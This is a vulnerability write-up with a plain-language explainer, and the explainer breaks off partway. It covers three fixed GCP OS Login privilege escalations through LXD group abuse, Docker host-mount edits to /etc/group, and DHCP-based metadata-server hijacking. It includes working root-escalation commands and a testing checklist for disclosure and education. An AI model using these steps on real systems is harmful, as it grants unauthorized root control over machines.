Privilege Escalation in Google Cloud Platform's OS Login
OS Login users with the non-administrative IAM role were placed in local groups such as lxd and docker, which allowed them to escalate to root. An attacker with only compute.osLogin access could run commands as root on the instance.
Published on gitlab.com
Project 'gitlab-com/gl-security/gl-redteam/red-team-tech-notes' was moved to 'gitlab-com/gl-security/security-operations/redteam/redteam-public/resources/red-team-tech-notes'. Please update any links and bookmarks that may still have the old path.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Google Cloud Platform offers OS Login as a way to manage SSH access to compute instances through IAM roles. Instead of maintaining local Linux accounts and SSH keys on each machine, OS Login ties access to a single Google identity, such as a GSuite account, and brings centralised management and multi-factor authentication with very little setup.
Compared with the traditional approach of managing SSH keys in instance metadata, OS Login provides two levels of authorisation, so IAM can decide whether an SSH user should have administrative rights inside the compute instance. The roles involved are:
roles/compute.osLogin, which does not grant administrator permissions.roles/compute.osAdminLogin, which grants administrator permissions.roles/compute.osLoginExternalUser, which is specific to granting SSH access to users outside an organisation. It does nothing on its own and must be combined with one of the two roles above to grant access and determine privileges.
The difference between the two main roles is simple: members of compute.osAdminLogin can run sudo to execute any command as root with no password required, while members of compute.osLogin cannot.
A standard Linux operating system has no idea what IAM is. Once a user is authorised to SSH into a compute instance, they still need to authenticate to the box, and OS Login uses public key authentication. Google keeps a list of valid SSH public keys for a given user account in a central location, and compute instances query that location through an HTTP call to the instance's metadata server. The metadata server acts as a proxy to the OS Login API; the SSH keys themselves are not stored in instance metadata.
Enabling OS Login is done by setting the metadata key enable-oslogin to true, either on the individual compute instance or at the project level. The google_accounts_daemon process running inside the instance detects the flag and executes a bash script called google_oslogin_control, which reconfigures the guest operating system:
- It modifies
/etc/ssh/sshd_configto use a custom binary,google_authorized_keys, which queries the instance's metadata server for SSH public keys on attempted logons. - It modifies
/etc/nsswitch.confto use OS Login as a database source for users and groups. - It modifies
/etc/pam.d/sshdto use thepam_groupmodule (with groups defined in/etc/security/group.conf), thepam_oslogin_loginmodule (authenticating users against the metadata server) and thepam_oslogin_adminmodule (determining which users may execute commands as sudo). - It creates
/etc/sudoers.d/google-oslogin, which tells the system to look in/var/google-sudoers.dfor more sudoer configuration. - It writes the following line to
/etc/security/group.conf:
sshd;*;*;Al0000-2400;adm,dip,docker,lxd,plugdev,video
The consequence of these changes is that any user authenticating via SSH using OS Login is placed in the local groups lxd, docker and adm. Two of the vulnerabilities below follow directly from that.
Setup
The demonstration uses a GCP project called oslogin-demo containing a new Ubuntu 16.04 instance called ubuntu16, with OS Login enabled. Server-side setup:
PROJECT="oslogin-demo"
# First, log in to gcloud locally on our machine with an admin account
gcloud auth login
# Create a test instance
gcloud compute instances create ubuntu16 \
--project "$PROJECT" \
--image ubuntu-1604-xenial-v20200407 \
--no-service-account --no-scopes \
--image-project ubuntu-os-cloud \
--zone us-central1-a
# Enable OS Login for the instance
gcloud compute instances add-metadata ubuntu16 \
--project "$PROJECT" \
--zone us-central1-a \
--metadata enable-oslogin=TRUE
Non-administrative access is then granted to a developer with the email address [redacted]:
ACCOUNT="[redacted]"
gcloud compute instances add-iam-policy-binding ubuntu16 \
--project "$PROJECT" \
--zone us-central1-a \
--member user:"$ACCOUNT" --role roles/compute.osLogin
When testing with a GSuite-enabled account and granting permissions outside of your organisation, compute.osLoginExternalUser must also be added.
On the client side, the developer authenticates gcloud as the low-privilege account and adds a public SSH key to their OS Login profile:
gcloud auth login
PROJECT="oslogin-demo"
# Generate a key if you don't have one already
ssh-keygen
# Add the public key to the Google oslogin profile
gcloud compute os-login ssh-keys add \
--key-file ~/.ssh/id_rsa.pub \
--project "$PROJECT"
The command returns the OS Login profile, including a username value (a modification of the email address) needed to SSH into any instance. A redacted example:
loginProfile:
name: '[REDACTED]'
posixAccounts:
- accountId: oslogin-demo
gid: '[REDACTED]'
homeDirectory: /home/lowpriv_notreal_com
name: users/[redacted]/projects/oslogin-demo
operatingSystemType: LINUX
primary: true
uid: '699203961'
username: lowpriv_notreal_com
sshPublicKeys:
[REDACTED]:
fingerprint: [REDACTED]
key: |
ssh-rsa [REDACTED]
name: users/[redacted]/sshPublicKeys/[REDACTED]
Key generation can be done automatically by gcloud compute ssh, but that requires additional IAM permissions to read the project metadata.
For each of the vulnerabilities, the assumed attacker is the user [redacted], holding only compute.osLogin: permission to SSH into ubuntu16 but no administrative access. The goal in every case is to run sudo id and see:
uid=0(root) gid=0(root) groups=0(root)
Finding it
The researcher used OS Login personally, for work and play, and spent time learning how it works. In the process, multiple ways to escalate from the non-administrative IAM role to the administrative one were found. They manifest as local root exploits, allowing non-administrative users to execute commands as root.
The first two, via LXD (CVE-2020-8933) and via Docker (CVE-2020-8907), are straightforward and use previously known methods to abuse the OS Login implementation. The third, hijacking the metadata server (CVE-2020-8903), is new and more complex.
All issues were reported directly to Google through the Google Vulnerability Reward Program (VRP), and each was addressed and fixed. Before the fix, the vulnerabilities were exploitable only by someone who had already obtained access to a compute instance via the compute.osLogin IAM role.
The logon process
To understand the attacks, it helps to walk through what happens on a successful SSH logon. The developer connects with:
ssh -i ~/.ssh/id_rsa lowpriv_notreal_com@[PUBLIC IP]
First, the SSH daemon executes /usr/bin/google_authorized_keys lowpriv_notreal_com, as configured by the control script. That binary performs an HTTP request which can be replicated from within a compute instance:
curl "http://metadata.[redacted]/computeMetadata/v1/oslogin/users?username=lowpriv_notreal_com" \
-H "Metadata-Flavor: Google"
The returned data looks something like this:
{"loginProfiles":[{"name":"xxx","posixAccounts":[{"primary":true,
"username":"lowpriv_notreal_com","uid":"xxx","gid":"xxx",
"homeDirectory":"/home/lowpriv_notreal_com","accountId":"xxx",
"operatingSystemType":"LINUX"}],
"sshPublicKeys":{"xxx":{"key":"ssh-rsa xxx","fingerprint":"xxx"}}}]}
This mirrors the profile returned when the key was uploaded, an example of the metadata server proxying to the OS Login API. The JSON is parsed and the value of name is extracted for a second query:
curl "http://metadata.[redacted]/computeMetadata/v1/oslogin/authorize?email=[NAME-VALUE]&policy=login" \
-H "Metadata-Flavor: Google"
After several checks inside Google's OS Login API, the metadata server replies:
{"success":true}
This check covers more than the compute.osLogin role. If the instance was created with an attached service account, the user also needs permission to act as that service account, and without it the response would be false.
The google_authorized_keys binary then returns code 0 to the SSH daemon along with the user's public keys. The SSH daemon loads pam_oslogin_login.so, which makes the same two HTTP calls; on success an empty file is created at /var/google-users.d/lowpriv_not_real_com, apparently used only in rare error conditions on later logon attempts.
Next, pam_oslogin_admin.so performs a query:
curl "http://metadata.[redacted]/computeMetadata/v1/oslogin/authorize?email=[NAME-VALUE]&policy=adminLogin" \
-H "Metadata-Flavor: Google"
For the non-administrative user the response is:
{"success":false}
Had the account held compute.osAdminLogin, the server would return true and a file named after the username would be placed in /var/google-sudoers.d containing:
[USERNAME] ALL=(ALL:ALL) NOPASSWD: ALL
That would permit the user to run any command as root.
Finally, pam_group.so reads /etc/security/group.conf, whose relevant line is:
sshd;*;*;Al0000-2400;adm,dip,docker,lxd,plugdev,video
The syntax is services;ttys;users;times;groups, so ALL users authenticating via SSH are assigned to these groups, regardless of whether they hold compute.osLogin or compute.osAdminLogin. The logon ends with the user in a normal shell environment.
To observe the internals, the following can be run from an administrative session while a logon takes place:
# See the raw HTTP packets to and from the metadata server
sudo tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' -i ens4
# See the system calls made by the SSH daemon
sudo strace -ff -s 10000 -p [PID of sshd]
# Watch file access in the user cache
sudo inotifywait -r -m /var/google-*
Exploitation
Step 1: Privilege escalation via LXD (CVE-2020-8933)
All OS Login users who authenticate via SSH are added to the local lxd group. On Ubuntu, LXD is installed by default and listens on a Unix socket that grants write permissions to the lxd group. Members can abuse LXD in multiple ways to reach root; the researcher had previously written about this in detail and published two working exploits.
# Observe we are not root
sudo id
# Initialize lxd
lxd init
# Create a container
lxc launch images:alpine/edge ecorp
# Clone my exploit repository with git
git clone https://gitlab.com/initstring/lxd_root && cd lxd_root
# Run either of the exploits
bash ./lxd_rootv1.sh ecorp # should really work on all systems
python3 ./lxd_rootv2.py ecorp # for systemd-based systems only
# Observe we are now root
sudo id
The first sudo id confirms the starting position, and the second confirms the result after either exploit script has been run against the container.
Step 2: Privilege escalation via Docker (CVE-2020-8907)
All OS Login users who authenticate via SSH are also added to the local docker group. Docker is not installed by default on any OS Login-compatible compute images, so only systems that have intentionally installed Docker are vulnerable to this vector. Members of the group have multiple escalation methods, and the official documentation states that the docker group grants privileges equivalent to the root user.
# Observe we are not root
sudo id
# Mount the host OS into a new Docker container and access an interactive shell
docker run -v /:/mnt/host -ti alpine:latest
# Edit the groups file
vi /mnt/host/etc/group
# Find the line for "google-sudoers' and add your low privilege OS Login username to the end
# Exit from the docker container and from the host shell
exit
exit
# SSH back into the box
ssh -i ~/.ssh/id_rsa lowpriv_notreal_com@[INSTANCEIP]
# Observe we are members of google-sudoers
groups
# Observe we are root
sudo id
The container mounts the host filesystem at /mnt/host, so editing /mnt/host/etc/group edits the host's group file. After adding the low-privilege username to the google-sudoers line and reconnecting over SSH, sudo id returns root.
Step 3: Privilege escalation via metadata server hijacking (CVE-2020-8903)
All OS Login users who authenticate via SSH are also added to the local adm group. Despite the name, that group is not granted administrative rights; per the Debian wiki, it is used for system monitoring tasks, and members can read many log files in /var/log and use xconsole.
Compute instances in GCP use DHCP to configure their network interface. Seven of the images Google provides implement the dhclient binary in such a way that the DHCP transaction ID (xid) is recorded in system logs. With this xid, a local attacker can hijack the DHCP conversation and trick the local host into accepting arbitrary networking information.
Google provides a custom DHCP exit hook that acts on this information. It can be abused to write arbitrary entries to /etc/hosts, which is queried first when resolving metadata.google.com. As the logon process shows, metadata.google.com is queried over HTTP to decide whether OS Login users get administrative rights at logon. HTTP makes no attempt to validate the identity of the server, so a hosts entry pointing at an attacker-controlled metadata server is enough. With such a server, the exploit simply flips a false to true to grant the non-administrative account permission to run commands as root.
How DHCP works inside GCP
DHCP lets devices dynamically obtain configuration such as an IP address, a host name and a default route. A typical conversation is a four-way handshake, and before it starts the client generates a random four byte integer called a transaction ID (xid) used to correlate transactions:
- DHCP DISCOVER: a client sends a UDP broadcast looking for DHCP servers, including a new random xid.
- DHCP OFFER: a server sends a UDP unicast with a proposed configuration, including a xid matching the DISCOVER.
- DHCP REQUEST: the client sends a UDP unicast with the configuration it would like, including a xid matching the OFFER.
- DHCP ACK: the server sends a UDP unicast acknowledging the allocation, including a xid matching the REQUEST.
After step four the client reconfigures itself with the ACK parameters, then repeats steps three and four regularly, generally every 30 minutes or so, reusing the same xid. A new xid is generated only when a service restart or network failure restarts the whole cycle. The networking info in a REQUEST need not match the OFFER, and the info in an ACK need not match the REQUEST: as long as the ACK carries the correct xid, it is trusted to dictate the final terms.
Google does not implement its own DHCP client for Linux guest images, but the standard clients cannot work exactly as on a legacy network, or any other compute instance could answer DISCOVER broadcasts. Google's VPC implementation blocks all broadcast traffic between user-controlled instances, silently swallowing it, while each instance's dedicated metadata server receives the broadcasts and responds. That is how only the metadata server can answer requests for IP configuration.
But a client will trust a DHCP ACK as long as it contains the random xid sent in its initial DISCOVER. dhclient is used by many GCP compute images, and on successful completion of a DHCP operation it executes scripts in /etc/dhcp/dhclient-exit-hooks.d/. Google provides google_set_hostname there, which adds an entry to /etc/hosts based on the hostname and IP address from the DHCP ACK. The relevant lines:
if [ -n "$new_host_name" ] && [ -n "$new_ip_address" ]; then
# Delete entries with new_host_name or new_ip_address in /etc/hosts.
sed -i"" '/Added by Google/d' /etc/hosts
# Add an entry for our new_host_name/new_ip_address in /etc/hosts.
echo "${new_ip_address} ${new_host_name} ${new_host_name%%.*} # Added by Google" >> /etc/hosts
# Add an entry for reaching the metadata server in /etc/hosts.
echo "[redacted] metadata.[redacted] # Added by Google" >> /etc/hosts
fi
The if condition matters: a new hosts entry is written ONLY when the ACK contains both a hostname and an IP address, and an ACK can contain only one of the two.
The exploit
Exploitation on an Ubuntu 16.04 instance is automated by two Go programs:
fakeMeta.go: the fake metadata server the client is tricked into trusting. TheuserDatavariable needs to be customised before use.privesc.go: the exploit that escalates privileges on the target.
Before the attack, the target's hosts file looks like this:
[redacted] localhost
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
[redacted] metadata.[redacted] metadata
[redacted] ubuntu16.c.[redacted] ubuntu16 # Added by Google
[redacted] metadata.[redacted] # Added by Google
First, the fake metadata server is launched on a machine fully under your control, reachable on port 80 from the target:
sudo ./fakeMeta
Then the target is accessed over SSH with an account holding only compute.osLogin. Assuming the rogue server runs at [redacted] and the target's primary ethernet device is ens4 with IP [redacted]:
./privesc -rogue [redacted] -dev ens4
The exploit uses journalctl to find the most recent DHCP xid in the system log, then floods the host with DHCP ACK packets carrying that xid and this configuration:
- hostname: metadata.[redacted]
- IP address: [redacted]
- lease time: 10 seconds
Nothing happens immediately; the flood is ignored. Eventually the host renews its lease, sending a DHCP REQUEST directly to [redacted] asking for its existing configuration, with the same xid the exploit extracted. The host then waits for an ACK. Because it is already flooding itself with ACKs carrying that xid, one malicious packet is processed before the metadata server can reply; it is simply faster and won the race in all tests performed. DHCP clients do not care that the ACK contains configuration completely different from what was requested; all that matters is the xid.
The google_set_hostname hook runs. Because the ACK contains both a hostname and an IP address, the if evaluates true and a new line is written, leaving the hosts file like this:
[redacted] localhost
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
[redacted] metadata.[redacted] metadata
[redacted] metadata.[redacted] metadata # Added by Google
[redacted] metadata.[redacted] # Added by Google
The client reconfigures its local IP to [redacted], which breaks networking and pauses the SSH connection. The exploit detects the change, stops the first flood, and starts flooding ACKs with:
- hostname: (NONE! NO HOSTNAME WILL BE SENT)
- IP address: [redacted] (the original correct IP of the target instance)
- lease time: 18000 seconds
Because the first lease was only 10 seconds, the client quickly tries to renew using the same xid, this time sending the request to itself rather than the legitimate metadata server, since that is where it last received a valid ACK. Again a flooded packet is processed. The hook runs, but the if evaluates false because no hostname is present, so the arbitrary line written earlier remains. The interface is reconfigured with the correct IP, networking resumes and the SSH session becomes available again.
The hosts file now reads:
[redacted] metadata.[redacted] metadata
[redacted] metadata.[redacted] metadata # Added by Google
[redacted] metadata.[redacted] # Added by Google
One might think this is a dead end, since hosts files are processed sequentially and the injected value sits between two legitimate entries. It is not: addresses beginning with 169.254 are link-local and are given lower priority when attempting actual network communications. The client will not renew its lease for another five hours, leaving time to act.
Exiting the SSH session and reconnecting with the same non-administrative account triggers the following:
- The instance does an HTTP GET to
http://metadata.[redacted]/computeMetadata/v1/oslogin/users?username=lowpriv_notreal_com. The hosts entry for [redacted] is used, the fake metadata server processes the query and replies with the account information added to its source code. - The instance does another HTTP GET to
http://metadata.[redacted]/computeMetadata/v1/oslogin/authorize?email=xxx&policy=login. The fake server responds with{"success":true}. - The instance does another HTTP GET to
http://metadata.[redacted]/computeMetadata/v1/oslogin/authorize?email=xxx&policy=adminLogin.
Step three is the goal: the instance believes the account is authorised to execute commands as root and adds it to the google-sudoers group. Running sudo id then returns:
uid=0(root) gid=0(root) groups=0(root)
Root cause
The researcher's recommendation to Google was to stop adding OS Login users to unnecessary groups, which would prevent exploitation of all the vulnerabilities. The google_oslogin_control script writes sshd;*;*;Al0000-2400;adm,dip,docker,lxd,plugdev,video to /etc/security/group.conf, and pam_group.so applies it to all SSH users regardless of IAM role. Membership of lxd and docker is effectively root on systems where those tools are installed, and membership of adm gives read access to system logs, which is what exposes the DHCP xid.
The metadata hijack relies on the DHCP client trusting any ACK carrying the correct xid, and on the google_set_hostname exit hook writing the hostname and IP values from the ACK into /etc/hosts. Because the OS Login admin check is an HTTP query to metadata.[redacted] and HTTP makes no attempt to validate the server's identity, a hosts entry pointing that name at an attacker-controlled server is enough to forge the adminLogin response. Addresses beginning with 169.254 are link-local and are given lower priority when attempting actual network communications, so the injected entry is used despite its position in the file.
Impact
All three issues let a user with only the compute.osLogin IAM role obtain root on the compute instance, executing commands as the root user. The LXD vector applies to any Linux system with LXD installed, and Ubuntu systems come with LXD installed by default. The Docker vector applies only where Docker has been intentionally installed. The DHCP hijack applies to images that record the DHCP transaction ID in system logs; at the time of reporting these were:
- GCP "Ubuntu 16.04" LTS
- GCP "Ubuntu 16.04" minimal LTS
- GCP "Red Hat Enterprise Linux 7"
- GCP "CentOS 7"
- GCP "RHEL 7.4 for SAP"
- GCP "RHEL 7.6 for SAP"
- GCP "RHEL 7.7 for SAP"
Any Linux system with Docker or LXD installed was vulnerable to group abuse, and Ubuntu systems came with LXD by default, making all of those images vulnerable before the fix. Prior to being fixed, the vulnerabilities were exploitable only by someone who had already obtained access to a compute instance via the compute.osLogin IAM role.
Fix
The recommendation to Google was to modify the google_oslogin_control script to stop adding users to unnecessary groups, which would prevent exploitation of all the vulnerabilities above. This was completed in the pull request "Remove OS Login users from admin groups".
All newly deployed compute instances include the fixed packages and no action is required. Existing instances should apply updates through their standard package managers. Some instances with OS Login already enabled may need to edit /etc/security/group.conf to exclude adm, lxd and docker from the # Added by Google Compute Engine OS Login section.
Variants to test
- Check
/etc/security/group.confon any OS Login-enabled instance for thesshd;*;*;Al0000-2400;...line. A positive result is any privileged group such aslxd,dockeroradmbeing applied to all SSH users. - On a host where the low-privilege account is a member of
lxd, runlxd initandlxc launchand attempt the published exploit scripts. A positive result issudo idreturninguid=0(root). - On a host with Docker installed, run
docker run -v /:/mnt/host -ti alpine:latestand try to edit/mnt/host/etc/group. A positive result is being able to add your username togoogle-sudoersand then obtaining root after reconnecting. - Check whether the DHCP xid appears in the system log (for example via
journalctl) on the target image. A positive result is a recoverable xid that can be replayed in forged ACK packets. - Inspect
/etc/dhcp/dhclient-exit-hooks.d/google_set_hostnamefor theif [ -n "$new_host_name" ] && [ -n "$new_ip_address" ]condition. A positive result is a hook that writes unvalidated hostname and IP values into/etc/hosts. - After injecting a hosts entry, resolve
metadata.[redacted]and confirm which address is used. A positive result is the injected address being preferred over the legitimate [redacted] entry. - Point the OS Login admin check at a controlled HTTP server and observe whether the client accepts a forged
{"success":true}forpolicy=adminLogin. A positive result is the account being added togoogle-sudoerswithout holdingcompute.osAdminLogin.
What happened, in plain words
Google Cloud Platform is Google's service for renting computers in a data centre (called "compute instances") that you access over the internet. To log in to those computers, Google offers a feature called OS Login. OS Login lets an organisation decide who may connect to which machine, using the same Google account people already use for email and documents, instead of creating a separate Linux username and password on every machine.
OS Login has two levels of access. One level lets a person connect to a machine and use it like a normal user. The other level lets that person become the machine's all-powerful administrator, the "root" user, who can do anything. The whole point of having two levels is that you can give someone the lower one and trust that they cannot take over the machine.
Chris Moberly, the researcher who wrote this report, used OS Login himself and spent time learning how it works under the hood. He found three separate ways for a person with only the lower level of access to become root anyway. Two of them abused tools that were already installed on the machine (LXD and Docker). The third was new: it tricked the machine into talking to an attacker-controlled metadata server, which then told the machine "yes, this person is an administrator".
All three were reported to Google through its bug bounty programme, the Google Vulnerability Reward Program, and all three were fixed. Before the fix, the only requirement to exploit them was that you already had the lower level of access, that is, you could already log in to the machine as a normal user.
This article walks through how OS Login works, then through each of the three attacks, in the same order as the original write-up. Every command and every piece of output below is copied from that write-up.
Background: the pieces you need to know
Before the attacks make sense, a handful of ideas need to be clear. Each one is explained from scratch here, and repeated in the glossary at the end.
What a compute instance is
A compute instance is a virtual computer. It is not a physical box in your office; it is a slice of a big Google server that behaves like a computer of its own, with its own operating system, its own disk and its own network address. You connect to it over the internet. In this report the instance is called ubuntu16 and runs Ubuntu 16.04, a version of the Linux operating system.
What SSH is
SSH (Secure Shell) is the standard way to open a text terminal on a remote computer. You type a command on your own machine, it runs on the remote machine, and you see the output come back. It is encrypted, so nobody in between can read it. When this report says "SSH into the instance", it means opening such a terminal on the remote computer.
What a user account and root are
Linux is a multi-user operating system. Every person who uses it has an account with a name, and the system tracks which files each account may read or change. One account is special: root. Root can do anything, including reading every file, changing system settings and installing software. Normal users cannot do those things. When a normal user needs to do something privileged, they use a program called sudo, which temporarily runs a single command as root, usually after asking for a password. The goal of every attack in this report is to run sudo id and see that the command ran as root.
What IAM is
IAM stands for Identity and Access Management. It is the part of a cloud provider that answers the question "who is allowed to do what?". In Google Cloud, you give a person a role, and the role is a bundle of permissions. For example, one role might allow someone to create storage buckets, another to start and stop virtual machines. IAM is the modern replacement for keeping a list of usernames and passwords on each individual machine.
The three OS Login roles
OS Login uses IAM roles to decide what an SSH user may do once connected. The report names three:
roles/compute.osLogin, which does not grant administrator permissions.roles/compute.osAdminLogin, which grants administrator permissions.roles/compute.osLoginExternalUser, which is specific to granting SSH access to users outside an organisation. It does nothing on its own and must be combined with one of the two roles above to grant access and determine privileges.
The difference between the two main roles is simple: members of compute.osAdminLogin can run sudo to execute any command as root with no password required, while members of compute.osLogin cannot. That single difference is the wall the attacker is trying to climb.
What public key authentication is
A normal Linux machine has no idea what IAM is. It cannot ask Google "is this person allowed in?". So once IAM has decided that a person may connect, the machine still needs a way to check that the person connecting really is that person. OS Login does this with public key authentication.
The idea: you generate a pair of mathematically linked keys, one public and one private. You give the public key to the server; you keep the private key secret on your own machine. When you connect, the server sends you a challenge, and only someone holding the matching private key can answer it correctly. The private key never travels over the network.
With OS Login, Google keeps the list of valid public keys for each user in a central place, not on the machine itself. When someone tries to log in, the machine asks Google's metadata server for that user's keys.
What the metadata server is
Every compute instance in Google Cloud can reach a special internal address, [redacted], which is answered by a small service called the metadata server. It is not on the public internet; it is a helper that lives alongside the instance and answers questions about the instance itself, such as its name, its network configuration, and, in the case of OS Login, the SSH keys and permissions of a user.
With OS Login, the metadata server acts as a middleman (a proxy) to Google's OS Login API. The SSH keys are not stored in the instance's own metadata; the instance asks the metadata server, and the metadata server asks Google.
What an API is
An API (Application Programming Interface) is a way for one piece of software to ask another piece of software to do something, in a fixed, agreed format. A useful comparison: a restaurant menu. You do not walk into the kitchen and cook; you pick an item from the menu, the kitchen prepares it, and the waiter brings it back. The menu is the API: a fixed list of things you can ask for and the format of the answer. Here, the instance asks the metadata server for information using HTTP requests, and the metadata server returns answers in a format called JSON (a way of writing structured data as text, with curly braces and quoted names).
What enabling OS Login does to the machine
Turning OS Login on is done by setting a metadata key called enable-oslogin to true, either on one instance or on the whole project. A small background program inside the instance, google_accounts_daemon, notices the flag and runs a script called google_oslogin_control. That script rewires the operating system in several ways:
- It modifies
/etc/ssh/sshd_config(the SSH server's configuration file) so that, instead of reading keys from a local file, the SSH server runs a custom program calledgoogle_authorized_keys, which asks the metadata server for the user's keys. - It modifies
/etc/nsswitch.conf, the file that tells Linux where to look up users and groups, so that OS Login becomes one of the sources. - It modifies
/etc/pam.d/sshd, the file that lists the checks performed during an SSH login. Three modules are added:pam_group(which assigns the user to local groups, using rules in/etc/security/group.conf),pam_oslogin_login(which checks the user against the metadata server) andpam_oslogin_admin(which decides whether the user may usesudo). - It creates
/etc/sudoers.d/google-oslogin, which tells the system to also look in/var/google-sudoers.dfor lists of who may usesudo. - It writes this line into
/etc/security/group.conf:
sshd;*;*;Al0000-2400;adm,dip,docker,lxd,plugdev,video
That last line is the seed of two of the three bugs. It says: every user who logs in over SSH gets added to the local groups adm, dip, docker, lxd, plugdev and video. A group in Linux is a named collection of users that share permissions. Being in the docker group means you may talk to the Docker service; being in lxd means you may talk to LXD; being in adm means you may read many system log files. None of those sounds like "administrator", but as the report shows, two of them are effectively equivalent to root.
Setting up the demonstration
The report builds a small lab: a Google Cloud project called oslogin-demo containing one Ubuntu 16.04 instance called ubuntu16, with OS Login switched on. The commands are run with gcloud, Google's command-line tool for managing cloud resources.
PROJECT="oslogin-demo"
# First, log in to gcloud locally on our machine with an admin account
gcloud auth login
# Create a test instance
gcloud compute instances create ubuntu16 \
--project "$PROJECT" \
--image ubuntu-1604-xenial-v20200407 \
--no-service-account --no-scopes \
--image-project ubuntu-os-cloud \
--zone us-central1-a
# Enable OS Login for the instance
gcloud compute instances add-metadata ubuntu16 \
--project "$PROJECT" \
--zone us-central1-a \
--metadata enable-oslogin=TRUE
Line by line:
PROJECT="oslogin-demo"stores the project name in a shell variable so it can be reused without retyping.gcloud auth loginopens a browser window so you can sign in to Google with your administrator account. From then on,gcloudacts as you.gcloud compute instances create ubuntu16 ...creates the virtual machine.--image ubuntu-1604-xenial-v20200407picks the exact Ubuntu 16.04 image to copy.--no-service-account --no-scopesmeans the instance gets no Google identity of its own, which keeps the lab simple.--zone us-central1-apicks the data centre.gcloud compute instances add-metadata ubuntu16 ... --metadata enable-oslogin=TRUEsets the flag that switches OS Login on for this instance.
Next, the administrator gives a developer, whose email is [redacted], the non-administrative role on that instance:
ACCOUNT="[redacted]"
gcloud compute instances add-iam-policy-binding ubuntu16 \
--project "$PROJECT" \
--zone us-central1-a \
--member user:"$ACCOUNT" --role roles/compute.osLogin
ACCOUNT="[redacted]"stores the developer's email in a variable.add-iam-policy-bindingadds a rule to the instance's access policy.--member user:"$ACCOUNT"says who the rule is about.--role roles/compute.osLoginsays what they get: the lower of the two levels, permission to log in but not to become root.
The report notes that when testing with a GSuite-enabled account and granting permissions outside of your organisation, compute.osLoginExternalUser must also be added.
Now the perspective switches: we are the developer, lowpriv. First, sign gcloud in as that account:
gcloud auth login
Then generate a key pair (if one does not exist) and upload the public half to the OS Login profile:
PROJECT="oslogin-demo"
# Generate a key if you don't have one already
ssh-keygen
# Add the public key to the Google oslogin profile
gcloud compute os-login ssh-keys add \
--key-file ~/.ssh/id_rsa.pub \
--project "$PROJECT"
ssh-keygencreates a new key pair. By default it writes the private key to~/.ssh/id_rsaand the public key to~/.ssh/id_rsa.pub.gcloud compute os-login ssh-keys add --key-file ~/.ssh/id_rsa.pubuploads the public key to Google, so that Google will tell any instance that this key belongs to this user.
The command returns the user's OS Login profile. The username value in it (a modified form of the email address) is what you type when connecting. A redacted example:
loginProfile:
name: '[REDACTED]'
posixAccounts:
- accountId: oslogin-demo
gid: '[REDACTED]'
homeDirectory: /home/lowpriv_notreal_com
name: users/[redacted]/projects/oslogin-demo
operatingSystemType: LINUX
primary: true
uid: '699203961'
username: lowpriv_notreal_com
sshPublicKeys:
[REDACTED]:
fingerprint: [REDACTED]
key: |
ssh-rsa [REDACTED]
name: users/[redacted]/sshPublicKeys/[REDACTED]
This is a structured description of the account. username: lowpriv_notreal_com is the Linux username the developer will use. uid and gid are the numeric user and group identifiers Linux uses internally. homeDirectory is where the developer's files will live. sshPublicKeys lists the uploaded public keys, with a fingerprint (a short hash used to identify a key) and the key itself.
The report notes that key generation can be done automatically by gcloud compute ssh, but that requires additional IAM permissions to read the project metadata.
For every attack below, the assumed attacker is [redacted], holding only compute.osLogin: permission to SSH into ubuntu16 but no administrative access. The goal in every case is to run sudo id and see:
uid=0(root) gid=0(root) groups=0(root)
id is a command that prints who you are. uid=0 means user ID zero, which is root. gid=0 means group ID zero, also root's group. Seeing this after sudo means the command ran with full administrator rights.
How the researcher found it
The researcher used OS Login personally, for work and play, and spent time learning how it works. In the process, multiple ways to escalate from the non-administrative IAM role to the administrative one were found. They manifest as local root exploits, allowing non-administrative users to execute commands as root.
The first two, via LXD (CVE-2020-8933) and via Docker (CVE-2020-8907), are straightforward and use previously known methods to abuse the OS Login implementation. The third, hijacking the metadata server (CVE-2020-8903), is new and more complex.
A CVE number is a public identifier assigned to a specific security flaw, so that people can talk about it unambiguously. All issues were reported directly to Google through the Google Vulnerability Reward Program (VRP), and each was addressed and fixed. Before the fix, the vulnerabilities were exploitable only by someone who had already obtained access to a compute instance via the compute.osLogin IAM role.
The logon process, step by step
To understand the attacks, it helps to walk through what happens on a successful SSH logon. The developer connects with:
ssh -i ~/.ssh/id_rsa lowpriv_notreal_com@[PUBLIC IP]
sshis the client program.-i ~/.ssh/id_rsatells it which private key file to use.lowpriv_notreal_com@[PUBLIC IP]is the username and the address of the machine.
First, the SSH daemon (the server-side program that accepts connections) executes /usr/bin/google_authorized_keys lowpriv_notreal_com, as configured by the control script. That binary performs an HTTP request which can be replicated from within a compute instance:
curl "http://metadata.[redacted]/computeMetadata/v1/oslogin/users?username=lowpriv_notreal_com" \
-H "Metadata-Flavor: Google"
curlis a command-line tool for making HTTP requests, the same kind of request a browser makes when you load a page.- The URL points at
metadata.[redacted], a friendly name for the metadata server. The path/computeMetadata/v1/oslogin/users?username=lowpriv_notreal_comasks: "give me the OS Login information for this username". -H "Metadata-Flavor: Google"adds a header, a small piece of extra information sent with the request. The metadata server requires this particular header as a simple guard against accidental requests from web pages.
The returned data looks something like this:
{"loginProfiles":[{"name":"xxx","posixAccounts":[{"primary":true,
"username":"lowpriv_notreal_com","uid":"xxx","gid":"xxx",
"homeDirectory":"/home/lowpriv_notreal_com","accountId":"xxx",
"operatingSystemType":"LINUX"}],
"sshPublicKeys":{"xxx":{"key":"ssh-rsa xxx","fingerprint":"xxx"}}}]}
This is JSON: a list of login profiles, each with the Linux account details (username, uid, gid, homeDirectory) and the public keys. It mirrors the profile returned when the key was uploaded, an example of the metadata server proxying to the OS Login API.
The JSON is parsed and the value of name is extracted for a second query:
curl "http://metadata.[redacted]/computeMetadata/v1/oslogin/authorize?email=[NAME-VALUE]&policy=login" \
-H "Metadata-Flavor: Google"
- This asks a different question: "is this user authorised to log in?". The
policy=loginpart says which policy is being checked.[NAME-VALUE]is a placeholder for the value taken from the previous response.
After several checks inside Google's OS Login API, the metadata server replies:
{"success":true}
